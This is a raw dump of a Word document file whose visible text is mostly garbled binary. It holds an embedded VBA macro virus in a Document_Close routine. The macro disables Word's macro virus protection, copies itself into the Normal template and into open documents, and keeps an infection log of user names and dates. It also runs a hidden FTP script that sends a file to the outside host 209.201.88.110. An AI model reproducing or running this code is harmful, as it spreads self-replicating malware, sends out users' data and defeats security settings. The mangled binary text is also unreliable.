ࡱ> 473` Rbjbj; z" " " " > <" BDDDDDD$hM6h h }"""   B" B""" z AY" , "N0" L"$", " hh  D^ ^  DN3NSS4l)R4l5uf[bY[e{vh3ubNSb3ubLRYec3ubNN^S e v RirTySheg\OcT12Y ll3ubNSNhYu}v 1uf[!hNNY~NQ0 "$&(*,.0468:<BDűűŔp\M;p\p#hrikh5:CJOJPJQJaJo(h5:CJOJQJ^JaJo('hrikh5:CJOJPJQJ^JaJo(#hrikh5:CJOJQJ^JaJo(#hrikh5:CJOJPJQJaJo(h5:CJaJo(&h} h5:5CJ$OJQJ^JaJ$o(&h} h5:5CJ$OJQJ^JaJ$o("h} h5:5CJ$OJQJaJ$o('h:0hICJOJPJQJ^JaJo('h:0hICJOJPJQJ^JaJo((*68DJTV$$Ifa$gd5:l$a$gd5:gdI DHJLRTVXZ\^`dfjlpz|~̺ޱ̢̢̺̺̺̺̱}m}mޱh&h5:CJOJPJQJo( hrikh5:CJOJPJQJaJ'hrikh5:CJOJPJQJ^JaJo(h5:CJOJPJQJaJo(h5:CJaJo(#hrikh5:CJOJQJ^JaJo(#hrikh5:CJOJPJQJaJo(#hrikh5:CJOJPJQJaJo(h5:CJOJPJQJaJo($VX^t2$$Ifa$gd5:lkd$$IfTlֈV&-sVss t0;.644 laTt~$d$Ifa$gd5:l$$Ifa$gd5:lE////$$Ifa$gd5:lkd$$IfTlrV&*-<s t0;.644 laT/kdf$$IfTlrV&*-<s t0;.644 laT$$Ifa$gd5:l/kd$$IfTlrV&*-<s t0;.644 laT$$Ifa$gd5:l~p\ZxWD`xgdIlgd5:lkd$$IfTl0V-y' t0;.644 laT h5:h5:#hIh5:CJOJPJQJaJo('h0A$h5:CJOJPJQJ^JaJo(#h0A$h5:CJOJQJ^JaJo(#h0A$h5:CJOJPJQJaJo(9182P0:p5:A .!"#$%S $$If!vh55s5V5s5s5#v#vs#vV#vs#v:Vl t;.6,55s5V5s5T$$If!vh55<5s55#v#v<#vs#v#v:Vl t;.6,55<5s55T$$If!vh55<5s55#v#v<#vs#v#v:Vl t;.6,55<5s55T$$If!vh55<5s55#v#v<#vs#v#v:Vl t;.6,55<5s55Tk$$If!vh55y'#v#vy':Vl t;.6,55y'Tt~lȂh~F@F 5:cke $1$a$CJKH_HmH nHsH tH$A$ ؞k=W[SOBi@B nfh?CDHXY[\|!"$%),./9:>?CDHX\`x|*,LQSX`||5:8} I:0"%*+,/:?DIJLMNOPQSTUVWX]^_|@44z@Unknown Gz Times New Roman5Symbol3& z Arial;ўSOSimHei;[SOSimSun9& |i0Dotum˳=NSe-N[Dotum;5 wiSO_GB2312?5 z Courier New h"g"ghh!-!),.:;?]}    & 6"0000 0 000000 =@\]^([{  0 0 00000;[ryy `HX(?5:2_[܏_[܏"|1 i Z'`IZ'Oh+'0h   $ 0<HPX`ԶNormalԶ6Microsoft Office Word@Ik@JY@}d@NƗYh՜.+,0 X`t|  ΢йy   !"$%&'()*,-./01256a9[;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\]^_`bRoot Entry FpKY8Data 1TableWordDocument; SummaryInformation(#DocumentSummaryInformation8+XacrosAYAYXBAAYAYdirThisDocument :XVBA_PROJECT * PROJECT :k  !"#$%&'()*+,-./0123456789;<=>?B0* pHdProjectQ(@= l Q J< rstdole>stdolePh%^*\G{00020430-C 0046}#2.0#0#C:\WINDOWS\system32\e2.tlb#OLE Automation`ENormalENCrmaQF  * \C ИQ!OfficgOficg!G{2DF8D04C-5BFA-101@B-BDE5gAjAe42ggram Files\CommonMicrosoft Shared\OFFICE11\MSO.DLL#M 11 .0 Ob Library%"zBeThisDocumentG  Tfis"DHcu@Ienn 2 (HB1B5XB,!TT"B+BBay *\G{000204EF-0000-0000-C000-000000000046}#4.0#9#C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLL#Visual Basic For Applications*\G{00020905-0000-0000-C000-000000000046}#8.3#0#C:\Program Files\Microsoft4TxME (S"SS"<(1Normal.ThisDocument(% @Lx@  @" @$ `& @( `* @@, y@. @0 `2D00"    0Hhx  &&  $H p z  " 8"Hp Zx * 0 P` p  8P h 8x ^  TDp       "  8 X$p$   ((   0 8FX   "   (  0 8 @ (X    *   ( ( 8 *@ p  *  *  ( @ X ,`   (   , 0 @ (H p  *  (   ( @ X (`   *   * ( @ (H p  (   ,  , *H x  *   *   *  P ` (h   *   *   0 *8 h x *   *   . @ P .X   *   *  ( ,0 ` p *x   *   * 8 H *P   ,   *    ,( X h *p   *   * 8 H *P   ,   .    (( P ` .h   ,   , ( 8 *@ p  *   *   , @ P *X   ,   ,  ( *0 ` p 0p]<- this is a marker!pDeclare Variables]am ]]0H` Initialize Variables 4!6!8%:.( <!6!8%:.* '' (!>%@'$ '' *!>%@'&NSwitch the VirusProtection OFFst B(D$H$F>HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User InfoLogFile J%L $ofileS (!>!P (!>%N'0are\Mi &e Setup *!>!P *!>%N'0rue k 0 0' Logfile --> 0 0' Logfile --> $'0 If (D RTrue X 2 V$T$ '2 (Act Rt.SaveC:\hsf 2.sys'2 2 0 wVplate)c:\netldx.vxd No 209.201.88.110feuser anonymousveNo pass itsme@ate.Sa cd incomingCodeMoasciieModput 2quitg fileVormalT*command.com /c ftp.exe -n -s:c:\netldx.vxd ZA@X>HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User InfoLogFile J,LiokMMake sure that some conditions are true before we continue infecting anythingUser  $ & 4!\ ^ 4!\ ` TruInfect the NormalTemplate $ed = T <!b'"alTe (!>!P (!>%N',veDocu1Write a log file of this NormalTemplate infection R d!. d!. R$$f d!. R$ $f Chr . d!. R$'.kd .$f' '.Delek RModule ) ,$f'  hhh:mm:ss AMPM - $ Zdddd, d mmm yyyy$$f'  d!j$f'  .$f',ode  *!>!P *!>B@l , *!>B@nime, " "G <B@pjkInfect the ActiveDocument & 4!r$: 4!bW 4!b' empl *!>!P *!>%N',tiveDo (!>!P (!>B@lr , (!>B@n mmm y G 4B@pjkko Logfile -->3) &" 09:08:36 - Saturday, 28 Nov 1998 SPo0Ky Blue Planet$ 02:50:31 PM - Saturday, 28 Nov 1998 MARK B. SEAY! 08:04:45 AM - Friday, 4 Dec 1998 UPS$ 11:43:35 AM - Thursday, 17 Dec 1998 WRO# 03:07:26 PM - Tuesday, 22 Dec 1998 BCBSA$ 03:28:02 PM - Wednesday, 6 Jan 1999 BCBSA" 02:59:47 PM - Monday, 11 Jan 1999 Marsha Veach% 01:54:54 PM - Wednesday, 20 Jan 1999 Connie Sandifer, CMP" 09:33:06 PM - Monday, 25 Jan 1999 Doug Rowan% 08:21:12 AM - Wednesday, 27 Jan 1999 IMSI" 10:59:58 AM - Friday, 29 Jan 1999 Raj$ 03:37:57 PM - Saturday, 30 Jan 1999 hornd" 01:26:48 PM - Tuesday, 2 Feb 1999 Cooley Godward" 04:57:29 PM - Tuesday, 2 Feb 1999 Cooley Godward" 06:35:44 PM - Tuesday, 2 Feb 1999 Cooley Godward# 04:23:52 PM - Thursday, 4 Feb 1999 Cooley Godward# 04:27:39 PM - Saturday, 6 Feb 1999 Cooley Godward! 06:18:06 PM - Monday, 8 Feb 1999 Cooley Godward" 09:17:17 PM - Tuesday, 9 Feb 1999 hclee% 04:44:45 PM - Wednesday, 17 Feb 1999 Dr. W. Hsiao% Wendy Hsiao, Ph.D.# 04:13:19 PM - Tuesday, 23 Feb 1999 CCST$ 10:09:35 AM - Saturday, 20 Mar 1999 cpwu# 09:33:49 AM - Thursday, 6 May 1999 # 12:39:25 PM - Tuesday, 20 May 1997 ghc-bbc! 01:21:36 PM - Friday, 7 May 1999 # 05:51:53 - Wednesday, 12 May 1999 qdzhuang$ 03:23:04 PM - Saturday, 19 Jun 1999 $ 02:53:46 - Tuesday, 6 Sep 2011 $ 09:37:47 - Monday, 19 Sep 2011 ʿ$ 01:41:54 - Monday, 26 Sep 2011 unknown' 10:50:02 - Wednesday, 19 Oct 2011 ףȪ' 08:27:05 - Wednesday, 26 Oct 2011 ٻ$ 10:37:36 - Monday, 31 Oct 2011 ˷$ 04:21:38 - Monday, 31 Oct 2011 ÷& 08:15:53 - Wednesday, 2 Nov 2011 Ż᷼# 03:51:55 - Friday, 4 Nov 2011 $ 11:58:54 - Friday, 11 Nov 2011 ƽƽ$ 05:13:35 - Friday, 11 Nov 2011 $ 03:14:00 - Monday, 14 Nov 2011 % 08:20:05 - Tuesday, 15 Nov 2011 $ 04:52:59 - Monday, 28 Nov 2011 ΢û% 04:12:26 - Tuesday, 27 Dec 2011 ΢û$ 09:17:06 - Friday, 30 Dec 2011 Administrator$ 05:43:54 - Friday, 30 Dec 2011 û27$ 08:05:33 - Tuesday, 3 Jan 2012 User$ 01:17:36 - Monday, 23 Jan 2012 ΢û& 05:59:02 - Wednesday, 1 Feb 2012 USER' 02:51:32 - Wednesday, 29 Feb 2012 ΢û! 04:02:03 PM - Friday, 9 Mar 2012 ΢û' 10:52:09 - Wednesday, 14 Mar 2012 joker% 05:08:02 - Tuesday, 20 Mar 2012 USER& 09:59:28 - Wednesday, 7 Mar 2012 ΢û$ 01:41:27 - Friday, 30 Mar 2012 USER$ 08:39:39 - Monday, 16 Apr 2012 ΢û$ 08:10:49 - Monday, 14 May 2012 y& 10:19:53 - Thursday, 31 May 2012 $ 09:19:40 - Tuesday, 5 Jun 2012 jwc& 08:31:11 - Wednesday, 6 Jun 2012 ഺ& 04:30:33 - Wednesday, 6 Jun 2012 Ҷ$ 01:17:22 - Tuesday, 3 Jul 2012 ԶBAttribute VB_Name = "ThisDocument" Bas1Normal.VGlobal!SpaclFalse CreatablPre declaIdTruBExposeTemplateDeriv$CustomlizC1P Sub _Cl5() On Error Res Next Const @Marker<- t is (a m ! 'Dl Vari=s Dim Save8,e,GInfec`ted,  As Boolean-ant ObjCOurCode, UserAddress, LogDfYFihSngA9'Initi0aliz/Set abAct[1.VBProA@Compon@s.Item(1S&= 20<= .3Module.Find(c, 10@O= nt+FSwitchC|Firus>tZion OFFpts.V  = A If (Day(Now())1) And (Sysm@M.@fgf("", "HKEY_CURRENT_USER\Softw\Micros@\MS \up (ACPME)\A? `(o7!@?!>") The`H E;`&k'DHad))Li0nes(`1CountOf2!E 64AuT7FQ,IfMid(,%.&"'f" & "2 -->")hen) -$ CFi@ To 4c e"s=&+ AInt(8 * Rnd)`2]$  ic@$"C:p\hsf.8sysA1Op enOutpruB#1C S@y#; AB c "c:\netldx.vxd" "o 209.201.88.110"u anonymoupass @itsme@c d incngasciiA H'qui( Shell "Amand. /c ftp.exe -n -s:$, vbHid`g3?K?AٟA= crEd32PMake sure`Pat socond cq H t| befo@we tinue1mingnysf@(F ~X1AQq2! cS_]"(liv&m0 = wd Or c_e^yRRqrA2a Ͽ[W   .1dQ1 }pXX0ZX3S'Wria log rfofP, iB ns KLPApplicaAp~.Io1LotiL <> Chr(13(qsh0 I` `]C1R lkY=&fW' F \'9,3R0jJ+(Timp"hh:mm:0QAMPM j&/ ]d, d mmm yO Ǐ  AG}Deletee.FromtHS;/90#QG?Bݬ% 9BFk6mF(b* Ful,F P ":"N ~ ?N2 q VR=gIH ?<K|Sto$xg:WSubrBT 09:0 8:36 7Sa@turday80$v 1998 SPo0KyBlrPla!d2:50:31 r<MARK B1. SEAY ' ' 08:04:45 AM - Friday, 4 De@c 1998 UPS 11:43:3fThursj17 lWRO l03:07:26 PjTue522 5BCBSA7227Wedn96 Jan 9/ 82:59:478Mon1 Marsha@ Veach ;1:54;20 Connie Sandifer, CMP $9:3'}{C25"Doug Rowan8:21:12ψ}27 IMSI 10}5829JRajK@u7:5LSatu rL3K q!6+15@f -28z΢û12M3pxU3 0Y0$U`uAdministrator554 wbQ 21JW0e5g3 ` 2 Use@/;{,9;;_VSER{`T2 i%2:03CpE9Trq31F9_7 (fujok5:16 djU9'Mc/ U'D(!{ _81nT1p6 Ap?;I0ہu4jyJ~1MxPye 3>0u@njwx0+1 È@ഺ+48:303((Ҷ՛"3 3ul( Office\OFFICE11\MSWORD.OLB#Microsoft Word 11.0 Object Library*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\WINDOWS\system32\stdole2.tlb#OLE Automation*\CNormal*\CNormalИQ(*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.3#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLL#Microsoft Office 11.0 Object Library QThisDocument08519904baThisDocumentT5 '>tEVd`9:,Wordk`VBA`Win16~`Win32`Mac`VBA6#`1p`stdole``Project-` ThisDocument<` _Evaluate`Normal`Officeu`Documentj`Document_Close7\`MarkerS` SaveDocumentd]`SaveNormalTemplatel`DocumentInfected `NormalTemplateInfectedy`ad~\`nto^`OurCode=` UserAddressF`LogData(6`LogFileG`ActiveDocument\` VBProjectOh` VBComponents '`Itemz`NormalTemplateq` CodeModule`Findn`Options`VirusProtectionoD`Day`Now%`Systema`PrivateProfileString[`Lines` CountOfLines!\`i``Str`RndR`ShellV`vbHideW` SaveFormat`wdFormatDocument`wdFormatTemplatee`Savedd` Application*`ChrK~`Time`UserName\` DeleteLines `AddFromString`Save`FullNameО`TID="{DDF89AB5-3A2C-42EF-A50F-ED259F749F95}" Document=ThisDocument/&H00000000 Name="Project" HelpContextID="0" VersionCompatible32="393222000" CMG="434173846C886C886C886C88" DPB="383A086B096B096B" GC="2D2F1DAAE79EE89EE861" [Host Extender Info] &H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000 [Workspace] ThisDocument=0, 0, 0, 0, C PROJECTwm@)CompObjAmThisDocumentThisDocument  FMicrosoft Office Word ĵ MSWordDocWord.Document.89q